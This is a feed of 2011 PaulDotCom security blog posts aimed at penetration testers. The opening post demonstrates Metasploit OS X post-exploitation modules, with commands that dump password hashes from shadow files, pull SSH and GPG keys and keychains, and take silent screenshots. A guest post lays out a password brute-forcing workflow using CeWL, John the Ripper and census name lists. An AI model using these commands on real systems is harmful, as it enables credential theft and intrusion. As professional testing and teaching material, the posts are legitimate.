PaulDotCom

Post Exploitation OS X Style!

2011-03-01T11:37:48Z

Hello boys and girls!

Carlos was kind enough to share some of his brand new OS X post exploitation kung-fu during episode 232.

I know there are a lot of you that still like to believe that OS X does not really matter. However, it is finally getting a respectable market share of 10.9%. And, while it may be fun to bash on Apple from time to time, you will stop laughing when you need to exploit an OS X system and pull data from the target machine. Thankfully, Carlos has made the process of post exploitation far easier for all of us. For that we all owe him a beer or two. After all, the only thing Paul has done successfully with a Mac over the past few years from a post-exploitation perspective was pour beer in his Mac.

So, on to the good stuff.

in today's write-up we will cover 2 new enumeration modules against OS X machines that where added to Metasploit. These modules are:

- use post/osx/gather/enum_osx

- use post/osx/gather/hashdump

We will cover the shell commands used by the modules themselves. One of the advantages of post exploitation modules versus the typical Meterpreter script is that they can be written to be used against both shell and Meterpreter. This initial OS X modules are written and tested for shell but many of the tasks are already written to work for Meterpreter once some issues with the Java Meterpreter are fixed.

Lets start with the OS X Enumeration module. For reasons of demo you will see that we have 2 shell sessions:



 msf exploit(handler) > sessions

 

 Active sessions

 ===============

 

  Id  Type       Information  Connection

  --  ----       -----------  ----------

  1   shell osx               192.168.1.100:4446 -> 192.168.1.100:54010

  2   shell osx               192.168.1.100:4446 -> 192.168.1.100:54013

Session 1 is running as a regular user on a OS X Snow Leopard target and Session 2 is running as root on the same box. The enumeration script will alter its behavior depending on the privilege level it sees it has on the target box and also will alter the commands depending on the version of OSX it is running against. To select the module we use the use command and after selecting we can have a look at the info of the module and the options it provides:


 msf exploit(handler) > use post/osx/gather/enum_osx 
 msf post(enum_osx) > info
 
       Name: Mac OS X Information Enumeration
     Module: post/osx/gather/enum_osx
    Version: 11816
   Platform: OSX
       Arch: 
       Rank: Normal
 
 Provided by:
  Carlos Perez carlos_perez@darkoperator.com
 
 Description:
  This module does initial gathering of information from OSX Tiger, 
  Leopard and Snow Leopard System
 
 
 msf post(enum_osx) > show options
 
 Module options (post/osx/gather/enum_osx):
 
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

To specify a session to run against we just set the option in the Datastore to the number of the session we want to run against


 msf post(enum_osx) > set SESSION 1
 SESSION => 1

once we have a session selected the only thing we need to do is issue the command run



 msf post(enum_osx) > run

 

 [*] Running module against loki.local

 [*] Saving all data to /Users/cperez/.msf3/logs/post/enum_osx/loki.local_20110224.0303

 [*]     Enumerating Development Tools

 [*]     Enumerating Airport

 [*]     Enumerating Applications

 [*]     Enumerating Ethernet

 [*]     Enumerating Bluetooth

 [*]     Enumerating Logs

 [*]     Enumerating Known Networks

 [*]     Enumerating Firewall

 [*]     Enumerating USB

 [*]     Enumerating OS

 [*]     Enumerating Network

 [*]     Enumerating StartUp

 [*]     Enumerating Printers

 [*]     Enumerating Preference Panes

 [*]     Enumerating Frameworks

 [*]     Enumerating Environment Variables

 [*]     Enumerating UDP Connections

 [*]     Enumerating TCP Connections

 [*]     Enumerating Current Activity

 [*]     Enumerating Process List

 [*]     Enumerating Last Boottime

 [*]     Enumerating Groups

 [*]     Enumerating Users

 [*] .ssh Folder is present

 [*]     Downloading config

 [*]     Downloading id_dsa

 [*]     Downloading id_dsa.pub

 [*]     Downloading known_hosts

 [*] .gnupg Folder is present

 [*]     Downloading gpg.conf

 [*]     Downloading pubring.gpg

 [*]     Downloading pubring.gpg~

 [*]     Downloading random_seed 

 [*]     Downloading secring.gpg

 [*]     Downloading trustdb.gpg

 [*] Capturing screenshot

 [*] Screenshot Captured

 [*] Extracting bash history

 [*]     History file .bash_history found for cperez

 [*]     Downloading .bash_history

 [*]     History file .irb_history found for cperez

 [*]     Downloading .irb_history

 [*]     History file .scapy_history found for cperez

 [*]     Downloading .scapy_history

 [*]     History file .sh_history found for cperez

 [*]     Downloading .sh_history

 [*]     History file .sqlite_history found for cperez

 [*]     Downloading .sqlite_history

 [*] Enumerating and Downloading keychains for cperez

 [*] Post module execution completed

 msf post(enum_osx) >

As it can be seen the modules gathers a lot of data on the target system starting with configuration, network connection, account information and list of processes, Once it gets all of that info it will check for .ssh and ,gnupg configuration folders and download all configuration files down to the attackers machine. It will do a screen capture followed by the enumeration of any history file found in the users home folder and downloads those. If it is running as root it will extract the SHA1 hashes for the users on the box, if the box is sharing a Samba Share or talks to AD it will also extract the NTLM and LM hashes for the users creating separate files in John the Ripper format for each encryption scheme.

Most of the data collected for configuration is gathered using the system_profiler command, it works by specifying the data type which correspond to a configuration are that we want the information for, to list the supported data types we run the command with -listDataTypes:


 loki:~ cperez$ system_profiler -listDataTypes
 Available Datatypes:
 SPHardwareDataType
 SPNetworkDataType
 SPSoftwareDataType
 SPParallelATADataType
 SPAudioDataType
 SPBluetoothDataType
 SPCardReaderDataType
 SPDiagnosticsDataType
 SPDiscBurningDataType
 SPEthernetDataType
 SPFibreChannelDataType
 SPFireWireDataType
 SPDisplaysDataType
 SPHardwareRAIDDataType
 SPMemoryDataType
 SPPCIDataType
 SPParallelSCSIDataType
 SPPowerDataType
 SPPrintersDataType
 SPSASDataType
 SPSerialATADataType
 SPUSBDataType
 SPAirPortDataType
 SPFirewallDataType
 SPNetworkLocationDataType
 SPModemDataType
 SPNetworkVolumeDataType
 SPWWANDataType
 SPApplicationsDataType
 SPDeveloperToolsDataType
 SPExtensionsDataType
 SPFontsDataType
 SPFrameworksDataType
 SPLogsDataType
 SPManagedClientDataType
 SPPrefPaneDataType
 SPStartupItemDataType
 SPSyncServicesDataType
 SPUniversalAccessDataType

For connection the netstat command is used



# netstat -np tcp

# netstat -np udp

To get Environment variables we used



# printenv

For Boot Time and current activity the who command



# who -b

# who

For processes



# ps -ea

For enumerating users and groups it varies per version of the OS, for Leopard and above:



# dscacheutil -q user

# dscacheutil -q group

For Tiger and bellow:



# lookupd -q user

# lookups -q group

For Screenshot of the following command is used:

As Root:



# launchctl bsexec {loginwindow PID} screencapture -x screenshot.jpg

As User:



$ screencapture -x screenshot.jpg

For history files the following regex is used to match the most common history file names



\.\w*\_history

This will match any hidden file with the word history at the end.

For dumping hashes the module must run as root, OS X does not store the credentials in a passed or master.passwd file but more like HPUX Trusted mode in individual files by account. Firs thing is we need to get the GUID of the account to do this we run

Leopard and Above:



# dscl localhost -read /Search/Users/{user} | grep GeneratedUID | cut -c15-

Tiger:



# niutil -readprop . /users/{user} generateduid

Now with the GUID we can carve the file with the hashes, the modules carves out SHA, LM and NTLM hashes:

• SHA1:



#/bin/cat /var/db/shadow/hash/{guid}  | cut -c169-216

• NTLM:



# /bin/cat /var/db/shadow/hash/{guid}  | cut -c1-32

• LM:



# /bin/cat /var/db/shadow/hash/{guid}  | cut -c33-64

The last thing the module does is enumerate all keychain files for the users and download them:

• As User:



$ security list-keychains

• As Root:



# sudo -u {username} -i /usr/bin/security list-keychains

I fully expect there will be more from an OS X exploitation perspective over the next few months and years. It is comforting to know that Carlos is already ahead of the curve when it comes to post exploitation on this fine platform.

Brought to you by: Darkoperator and strandjs

Originally discussed during episode 231

Smartphone Attacks Over Dramatized? I dont think so.

2011-03-01T01:55:16Z

Holy crap, do I not agree with this article in the least. The general consensus form the article is that, because we can count the number of actual mobile malware infections on one hand, we should take a lackadaisical attitude towards it because: The phones are typically more "closed," making it more difficult to exploit (cough, bullsh1t, cough), the only way of infiltrating is through an app store (oh sure, every line of code is examined, even through "third party" stores), and Windows is still dominant, versus a plethora of smartphone software and OS versions (I call bull$hit here too - just think about the times you've tried to exploit a box but it was the wrong service pack, language, or point version of an application). Instead, how about chilling out about it, how about we make the industry BETTER around smartphone security before we end up with a sh1tstorm of activity.

Further, this article demonstrates a dangerous misunderstanding of a number of core security concepts, not to mention missing the point of what a security conference is about.

First, with the security concepts. The reason the bad guys have not gotten to the mobile platforms en-mass is because the money is not there . . . yet. Please, do a simple good search on mobile banking apps for iPhone and Android. You will see there is a big push to move towards these platforms. As people move the management of their daily lives more and more from the PC to their phones you will see the crime follow.

This brings me to the next point. The purpose of a security conference is to discuss future trends and to sound the alarm before the boat hits the iceberg.

We need to start to focus on this issue now. First, your data is moving this way. Secondly, there are very few security features built into these devices. Finally, there is little in the way of monitoring and management for these devices in a large-scale environment.

I really do not think I would like to be behind an article that says, "...[I felt] a lot more relaxed about the security of my smartphone...." Really?

Wow. It looks like this panel failed.

Brought to you by: haxorthematrix and strandjs

Originally discussed during episode 231

PaulDotCom - Security Weekly - Episode 232 - February 24th - 2011

2011-02-26T22:24:31Z

Mike and Mike, Murr and Murray... you figure it out, join in to discuss phishing and the way they go about creating phishing emails that get very high response rates. Even one that had 110% acceptance.

Mr. Carlos Perez takes us on a journey of OSX post exploitation.

Then some chuckleheads discuss stories from the week.

Episode 232 Show Notes

Episode 232 Direct Audio Download

All the Pauldotcom Security Weekly episodes on our Bliptv archives.

Hosts: Paul "PaulDotCom" Asadoorian,John Strand,Larry Pesce

Audio Feeds:

Bind DNS - The new Internet Kill Switch

2011-02-25T16:28:12Z

I still maintain that attackers will not take down the Internet, for the most part. So, there are types of attackers that want to do damage, so-called "Hacktivism" groups. However, these tend to be more targeted attacks, such as the DoS attacks launched by Anonymous against Paypal and other credit card companies. Most of the attackers are out there making big money on the Internet, and can't afford massive outages. Reports are that there is no public exploit, which I never believe. I just believe we haven't seen one in use.

I relate it to the mafia. If you study mafia history, you know its tough for a bunch of criminals to get along. They try to avoid a full-scale war within their families because "war is bad for business". Of course, they are criminals, and it happens from time to time, but for the most part it is (criminal) business as usual.

What "business as usual" might look like

The other thing we need to keep in mind about this is just how fragile things can be when we work in a monoculture. Granted, there are a number of issues that arise when we move away from monocultures, but we need to balance the pros and cons of both. For example, take a look at the system you are on right now. There is a wide variety of software that is installed which is consistently installed on almost all systems. Flash, Java, Adobe Acrobat, Firefox are just a few examples of software that is ubiquitous on almost all systems. But it does not stop there. Now, look at the protocols that everything supports. As we have seen in the past, even simple protocols that we all follow, like DNS, can have design issues in the way the RFCs are implemented that can lead developers down a bad path.

This will end well

So, what to do? To be quite honest, you need to look at the path data takes to and from the heart of your environment. For example, Internet > Edge Router > Firewall > IDS > Web Server > Database. If you look at this chain there is a particular vendor or product that produces all the products leading up to your Web Server. You may want to think through how you would deal with a vulnerability that impacts all of those products that make up your security support structure.

-PaulDotCom and strandjs

Originally on episode 232.

Episode 232 tonight with Murray & Murr: The keys to phishing success

2011-02-24T15:03:38Z

Please join us for PaulDotCom Episode 232, where Mike Murr and Mike Murray promise a lively delivery of "The top 5 most overlooked keys to phishing success".

You can view the live feed tomorrow night by watching the below video:

NOTE: The video will play the most recent show up until we are live!

7 ways to not get hacked by Anonymous

2011-02-23T13:49:34Z

So many things wrong with that title. First off I think it should be 8 ways, but make #1 "Don't be douchebags."

Note to Mr: Evans Having your own show does not make you "cool"

Okay, so here's the list:

1. Don't assume what type of attack will manifest - That's some solid advice. You should prepare, within all acceptable reasons for your highest risk scenarios. We find that a lot of the people making "risk-based decisions" are the same people that believe they will be attacked by hackers like Angelina Jolie.

What Larry wishes all "Hackers" looked like

Rather, think of how normal, everyday people access data on your network. Why? Because that is most likely the path the bad guys will take.

2. Use tried and tested CMS - Sounds okay, but think about some of those alleged CMS‚ Joomla, Wordpress, etc. Not much better, but the argument against a custom system does have some merits. All CMS sucks. But that being said, there is something to being said for getting hacked and not paying six figures for the right because you paid for a custom piece of software. I may suck at math, but paying $150k+ and paying for a compromise is worse than just paying for the compromise.

3. Use strong password hashing - Fair, but even well-hashed passwords can be bruteforced with enough time and computing power. We've talked about passwords often enough that you know they are broken. Trust us, there is a huge difference between hashing/crypto like Lanman with a static key (hello KGS!@#$%) and crytp3 using sha256. If you do not know the difference, here is a hint - Rainbow Tables.

4. Use strong passwords - Ditto. Sure, but how about something better? Maybe we could look at passphrases? Look, I know this is going to be a shock to a lot of guys out there, but length matters. Most anything over 15 characters is going to take a long time to crack.

5. Don't reuse passwords - Very good advice, but mere mortals may have issues. Back to the password issue again.

6. Keep patches current - Yes, for known exploits, you should be doing this stuff, especially if it doesn't break functionality. Don't be slow about it either. I'd say to do restrictive firewalls and such, but the cases in point here wee privilege escalation, which means they are already on the box‚

7. User awareness of social engineering - Yes, yes 1000 time – yes! Even then it still won't sink in, you still should try. Yes, even "smart" security folks can fall for it, and get someone to open ports on your firewall. Just because it is a "dumb idea" does not mean you should not do it. The reason why user awareness sucks so bad, is because the training is awful. You really should look to working with some people who know how to do it and do it right.

Notice how they have his complete attention.. Best user-awareness training ever!

Brought to you by: haxorthematrix and strandjs

Originally discussed during episode 231

PaulDotCom - Security Weekly - Episode 231 part 2 - February 17th 2011

2011-02-23T03:37:10Z

Surbo and hevensnt join us from the land of Kansas to give us the scoop on hacking Evite. Also why they think that hackers are a bit out of shape and what they are doing about it. It involves running... nothing chasing you just running for... get this... FUN!!

Then we discuss some stories for the week with a Cheap Trick lead in.

Episode 231 Show Notes

Episode 231 part 2 Direct Audio Download

All the Pauldotcom Security Weekly episodes on our Bliptv archives.

Hosts: Paul "PaulDotCom" Asadoorian,John Strand,Larry Pesce

Audio Feeds:

EXACTLY Why Your Network Needs to be Resilient Against the 0Day Threat

2011-02-22T12:50:05Z

Hot off the heals of yesterday’s post!!!

I'm not trying to use buzzwords or get popular by using the term "0day threat" (in fact I hate the whole way we say "O-Day", it’s just annoying). In any case, there is an "O-Day" floating around for Microsoft systems, in particular the SMB service on Windows 2003 AD servers. Ouch. So you're probably saying, "But I have a firewall, IDS/IPS, Anti-Virus software, and patch management." So do a lot of people, which is why attackers use social engineering and "O-Day" attacks. You have to ask yourself, if someone wanted to target you, how successful could they be? What's stopping them from getting your users to click on a link or open an attachment? What stops your users from accessing SMB on your servers? How do your servers defend against a 0day attack? This is one reason why I love real-world hacking challenges. I've done several over the years, and it always starts out the same way. You have to defend the network for the first hour of the competition without a firewall and without patches. "But that’s not fair," people say, but that’s the real world. It’s like that scene from the movie "Dodgeball" where the coach has them all line up for training. He then takes out a giant wrench, and without warning, hurls it at one of the guys who gets clocked in the face. He then states, "If you can dodge a wrench, you can dodge a ball." So, if you can defend a "naked" network, you can certainly defend one with a firewall and other techniques. It’s not so much about protecting the attack to begin with, but what happens afterwards.

Further, if we look at defending without a firewall, without AV and missing patches it just so happens that your are getting frightfully close to the way the "real-world" is. AV can be easily bypassed. IDS is routinely sidestepped by simply using encryption or by the attackers using protocols you use to manage your network (SSL, SSH, RDP anyone?). So, with that in mind, how well can you defend your network?

Gun wins every time

Finally, sit down and think for a moment... How much would an attacker gain by obtaining access to your critical data? If the attacker can gain, say, a million credit card and they can get $1 on the black market for it, there is a significant up side for them to do this. If an attacker can gain one million by compromising your network, do you think there is a possibility they may go through the effort to develop or purchase 0day?

No friends, it has nothing to do with prevention anymore. It is now a questions of containment and detection.

-PaulDotCom and strandjs

Originally on episode 231.

Brute Forcing Passwords Part 2 (with JTR, CeWL and the US Census)

2011-02-21T20:32:12Z

Another great guest post from Dennis Antunes:
In Part 1 of this series, I barely scratched the surface of password brute forcing.

In this post I hope to go beyond the basics and demonstrate some approaches I use to significantly increase the quality of my tests as well as my chances of success.

Success?
Everyone measures success differently, but hopefully some of you will consider success using these techniques to convey the importance to your developers, customers, bosses, friends, spouses, etc. of selecting strong passwords for web-based authentication mechanisms. I am not talking simply about complexity, length, and so forth, although they of course help. Rather, I am referring to the quality of the password, something that is more difficult, but not impossible to enforce.

An example: Your password policy states you must use 3 out of the 4 of the following: upper, lower, numeric or special, and it must be at least 8 characters.
Password33 meets this requirement as does MhaLlwfl3z, but one is much more secure. How much, not sure, but practically speaking way more. I know in a pen test I will try Password33 against any and all your user accounts every time (and so would a script kiddie). The second one though? 9 seemingly unrelated characters? Doubtful.

Now, the second password is a take on a commonly known phrase (free gift to the first correct guesser). Extremely easy for me to remember, but hard for you to guess. Can it be guessed in an all-out brute force? Definitely, but hopefully I have other compensating controls in place: account lockout, IPS, admins with a clue, etc.

Its in the Dictionary, Stupid.
My point is, if you MUST rely upon only user name and password, you need to ensure your users are choosing passwords that are not easily guessable. Far better to use a non-dictionary word or a pass phrase. For example, I personally like to use song lyrics of my favorite artists, like this one: IlUoUlm33

Give up? Yes its Barney, a take on the epic "I love you, you love me" opus. See it now? Unforgettable, complex, simple and disturbing all at the same time.

Generating (supposedly) Complex Passwords For Cracking
Now starting with a decent password list, like RockYou's worst 500 (RY500 from here on out) mentioned in Part 1, I like to do a few things:

Run CeWL and concatenate w/ RY500
Mangle the expanded RY500 w/ JTR
Run a custom script based on the site's complexity rules for efficiency's sake.

Running CeWL
What cool is: CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper. Taken from http://www.digininja.org/projects/cewl.php.

That pretty much sums it up. Basically creates a nice list of words after crawling the site of your target. You can download it here. Be sure to read through the dependencies, documentation and usage examples as there a a couple gotchas.


./cewl.rb <target_domain> -w <outfile>

cat <outfile> RY500 > RY500_expanded

Mangling w/ JTR
Next we need to mangle our expanded list with JTR. The default mangling rules included with john are nice, but Matt Weir has done great job of expanding on these, which is helpful, consider john's rule writing syntax at first can seem a bit arcane. Download his john_manglingrules.conf, backup your own john.conf and replace it with Matt's improved version.

I suggest you carefully read through Matt's file, do some experimentation with some short password lists and tweak as necessary. For example, his file appends 4 numerics to each password. This can result in a huge number of passwords, which may or may not be desired. You can edit his file before mangling or you can always do some post-processing or trimming later as needed.


john --rules --wordlist=RY500_expanded --stdout > RY500_mangled

Matching complexity
Next, we'll then use a small python script to grep through the results with a gnarly regex to generate a nice list of "complex" passwords according to our configuration. Grab my script here. It really just conceptual. You'll need to tweak it to match the password complexity rules of your site to elimate wasted login attempts.
Running:


./password_complexity_matcher.py RY500_mangled

...will generate a file called complexity_matches.

The Census made me do it
Circling back, you say, "Even though my passwords are lame, you still don't have my user accounts." To which I reply, "Uh, yes I (probably) do."

That brings me to another important point. User names should also have complexity rules and ideally not be based entirely upon the user's actual name.

You see, most companies like to use some variation of your actual name: first initial/last, first name/last, last name/first initial, etc.

If this is your company, and it is of any significant size, thanks to the US Census, I most likely have a significant portion of your user names too.

Taking the lists from the census, and using just the top 100 male and female names interleaved, combined with the top 100 last names results in a boat load of common names, 10K to be exact. Names like...

JAMES SMITH
MARY SMITH
JOHN SMITH
PATRICIA SMITH
ROBERT SMITH
LINDA SMITH
.......
JAMES JOHNSON
MARY JOHNSON
JOHN JOHNSON
PATRICIA JOHNSON
ROBERT JOHNSON
LINDA JOHNSON

...start to emerge

Once you have a nice list of very common names, you can again turn to custom python scripts to generate a variety of formats, add email addresses, etc. to your user names very simply. Better of course if you already know the format, which is probable in a gray box test or if there is a self-registration function. Combine these names with the complex password list we generated with JTR and I am sure you can appreciate the potential.

Fire up Burp, Hydra, or your own custom scripts and have a party.

In Summary

Use these techniques to convince your bosses/developers/friends how lame standard complexity rules can be
Urge them to use passphrases as they are far stronger and much more fun
Consider using obscure usernames, not entirely built on the user's actual name
The US Census is your friend
If you find this blog entry helpful, kindly buy myself, Robin Wood, and Matt Weir a beer.

Mentoring the SANS Sec 542 in Foxboro, MA beginning 4/13/2011.
Before you register email me at stratmofo at gmail dot com for a special discount code!

Mcafee and VXWorks Partner for Secure Embedded Systems

2011-02-21T13:19:11Z

Okay, so let me first start by saying that this is a step in the right direction. I firmly believe that embedded system manufacturers who are looking for improved security and forming partnerships with security companies is a good thing. However, and this is a BIG however, look at the track record. I wouldn't be doing this justice if I didn't mention the freakin' huge gaping security hole that HD Moore found in just about all VxWorks devices because they left debug functionality turned on! I'm sorry, but there are just some things that cannot be helped by security companies, and that’s poor security practice. Oh, and furthermore, so many embedded systems vendors give you a backdoor in your firmware, which gives administrative control, where I can turn off any extra layers of protection. And don't get me started on Mcafee, "Oh look, /proc is a virus, I will just delete it!" Great, thanks for that. Security is not about add-ons and features, it’s about processes and controls. Wind River came out and said, "But our operating system is secure" yet it wasn't, not even close. Security is culture, not products, and I sincerely hope embedded device manufacturers adopt a more security-focused culture.

Paul also wants a pony Your Princess Leia memories will never be the same

To make matters worse, we constantly run into issues where companies have very poor patching polices for these devices. The reason? It’s an "embedded device," not a "computer." Look, we can point the finger at a number of different vendors, and there is plenty of blame to go around. However, we feel there are limits to that blame. Sure, debug by default is dumb. Sure, having simple buffer overflows in your product is laughable. But, we as security professionals should assume these types of vulnerabilities exist. Once we accept this simple fact, you can architect your environment so that if these eventual vulnerable applications/systems/devices/people are exploited or exploitable you can quickly react and contain the incident.

-PaulDotCom and strandjs

Originally on episode 231.

PaulDotCom - Security Weekly - Episode 231 Part 1 - February 17th 2011

2011-02-21T00:48:24Z

Back in the Asadoorian residential studio for Episode 231. Joining us on another fabulous February Thursday night in Rhode Island, Stefan Esser stays up really late in Germany to discuss with us ASLR on iPhone and PHP Security or the lack there of.

Episode 231 Show Notes

Episode 231 part 1 Direct Audio Download

All the Pauldotcom Security Weekly episodes on our Bliptv archives.

Hosts: Paul "PaulDotCom" Asadoorian,John Strand,Larry Pesce

Audio Feeds:

Cisco Security Agent Web Management Interface Bug Lets Remote Users Execute Arbitrary Code

2011-02-18T16:28:13Z

I LOVE vulnerabilities like this! You win remote code execution over port 443, where you then win a free trip to the configuration of end-user policies, and as a bonus you will get an exclusive excursion to "perform other administrative tasks." Consider that this is software that touches every end-user workstation, and it’s a vacation I can wait to go on. The best part is that most people are giving this vacation away because, well, it’s on the inside of the network so I don't have to patch it. That’s when BEEF comes in handy to hook your browser, read your bookmarks and URL history, find the internal IP/Hostname of your CSA console, then hopefully get your browser to send the payload I need. At least that’s how I see it going down, and I will have a fancy drink with lots of umbrellas and fruit in it, just because that’s how I roll on vacation.

Paul On Vacation. They Hatin'

Further, many of the CSA Consoles we have encountered over the past few years have not been patched well at all. While we love the idea of white-listing, this shows some of the limitations of security monocultures. The idea is great, yet the execution can be flawed.

Further, I feel that many of these products tend to make us lazy. Much in the same way AV, Firewalls and IDS have made us lazy. Even though something like CSA or another application white-and-nerdy listing comes out we always need to assume there is going to be vulnerabilities in the product.

Now... We need to find a way to pull Paul off the ceiling and reduce his coffee vrs. cold medicine intake.

-PaulDotCom and strandjs

Originally on episode 231.

Quantum Computer Research: Where Penthouse and Physics Collide

2011-02-18T13:25:16Z

So this reminded me of a story. I was teaching a firewall class to a small group of people that were internal administrators working for the same organization I was at the time. I was DEEP into statefull inspection, TCP handshakes, UDP, ICMP (yes, we all had our TCP big boy pants on). The course just happened to cover Netscreen firewalls, which is what we used at the time. It was great fun. Oh right, quantum computing. So we're about three quarters of the way through the class, and I'm jumping up and down with excitement about dynamic source port allocation or something, and someone raises their hand and asks me this: "So, with the advent of quantum computing, we aren't going to need firewalls anymore, right?" The question really caught me off guard, honesty. Remember, encryption is only good if you are using it, and using it correctly. Just ask those people who have had laptop stolen or all their email published as a Torrent file on the "interwebs." It begs an interesting philosophical question though: If we can come up with a way for people to authenticate themselves to every service on the Internet, why do we need firewalls? (Sorry my cold medicine has me all "philosophical today").

What Paul Drunk on "cold medicine" might look like

Further, this shows just how far data storage can go. We can store data at the Photon level. This is what we at PaulDotCom call "serious science." The article is deep with techno jargon and seems to be beyond the grasp of us mortals. For example, take the following line:

However, Wang found that if one of the cavities was gently probed before looking inside, thus changing the quantum state, the effect of the probing could be seen, even if that cavity was subsequently found to be empty.

Heres to you Mister Porn Star Scientist!

Umm? What? Has this guy been on PaulDotCom? This sounds almost exactly like the topics we cover every show... "Wang could gently probe the cavity before looking inside?" Now they are just messing with us.

I think?

-PaulDotCom and strandjs

Antivirus Policies For Specific Types Of Hosts

2011-02-17T10:56:54Z

In many enterprise environments business needs for performance often trump security (Ok, more often then not). A good example of this is Exchange Administrators getting grumpy about your AV client causing too much of a performance impact on the back-end servers. Depending on the political weight and structure of your position/group, this argument usually ends in one of two ways. Either AV gets put on the box and the Exchange Admins live with the performance hit, or you live without AV on the Exchange server.

Antivirus products can also cause havoc with some products if they detect something and try to remove it. Sure, that string of text may have been similar to a virus from 1997, but the fact that your AV client decided to delete the database in which it was written, well that's a problem.

Luckily, there is a middle ground.

Most enterprise level antivirus solutions allow you to implement specific policies for groups of computers. The problem exists with knowing how and what to implement as well as when to realize that it can't solve your problem. Most software vendors provide (or will provide when asked) a list of specific files/folders to exclude that may have undesired effects on their product. An example using Exchange is provided below.

Microsoft Exchange:
Exclude the following directories:

%Program Files%\Exchsrvr\MDBData*.*

%Program Files%\Exchsrvr\Mtadata*.*

%Program Files%\Exchsrvr\Server_Name.log

%Program Files%\Exchsrvr\Mailroot*.*

%Program Files%\Exchsrvr\Srsdata*.*

%System Root%\System32\Inetsrv*.*

%Program Files%\Exchsrvr\IMCData*.*

If your AV software has a web application component, it also may be a good idea to disable monitoring on the ports that Exchange uses, especially HTTP, POP3, IMAP, and all the various secure forms of those protocols.

For more information, see the Microsoft documentation here: File-Level Antivirus Scanning on Exchange 2010 and Overview of Exchange Server 2003 and antivirus software.

Some additional rules for various server types are below.

Backup Servers:

Exclude the install directory of the backup software

Exclude any Backup to Disk locations if they are local to a client

Disable On-Access scanning during backups (or disable scan on file read/open; only scan on write/execution)

Database Servers:

Install directory for database (Ex: C:\Program Files\Oracle)

Database files themselves (Ex: .DB files)

If accessed remotely, disable scanning on the port(s) that the database is accessed from

Terminal/Citrix Servers:

Disable GUI loading (so each logged in user doesn't start a new process that isn't needed)

Disable all interaction with the client (have it default to strict cleaning, no popups etc.¬†Chances are the user won't have rights/knowledge on how to deal with it anyway, and it could hang the client if it's waiting on a user to take action on a file.

Basically you want to exclude directories, files (or file extensions), and ports that get modified a lot. This will bog down the AV client's scanning and bring the system to a crawl. You'll have to look at each OS and specific applications that are running on your network (this is a good chance for some software inventory and control - no web browsing or email checking on servers), as well as the limitations and features of your specific AV client.

Keep in mind that this approach will not solve all problems and can create it's own. When creating policies keep in mind that you can't (and shouldn't) create unique policies for every host on your network, this will become quickly impossible to manage. There also is a place of diminishing returns when configuring an AV client. If you're excluding more than you are scanning for performance concerns, it might be a good idea to forget the AV and focus on network segmentation and continuous monitoring of the host.

Of corse you want to thoroughly test any implementation before taking it live.

Putting together a set of comprehensive AV policies for your organization can be an excellent step towards better network security, just don't forget the idea of a layered defense; antivirus can't solve everything!

Seth Matheson @ Port 22 Tech

If you are in the DC Metro-area and are interested in learning the theory and language of computer security, I'll be mentoring a SANS 401 GSEC: SANS Security Essentials class in June '11. Contact me or register through the SANS website.

Users reuse the same passwords... Ric Romero is proud

2011-02-17T01:28:08Z

We all knew this.. Who authorized this study? Was there money for it? I have a research project.. Users don't patch their client-side software. Please contact me if you wish to fund this project.

But in all seriousness, there is something to learn from this.... It is that your users reuse the same passwords. The same crappy password they use on your site is the same crappy password they are using on all of the various Goat Sex sites.

Because of this, we need to start looking at alternative authentication mechanisms. Maybe even looking at two factor authentication.

Just for the record, many "two-factor" authentication mechanisms only authenticate you to the computer or resource you are trying to access. This is important because if an attacker gets access to a users system they will be able to piggy-back on that session, thus bypassing your wonderful, delicious two factor authentication.

So even if you strive for something better... It will most likely still suck.

-strandjs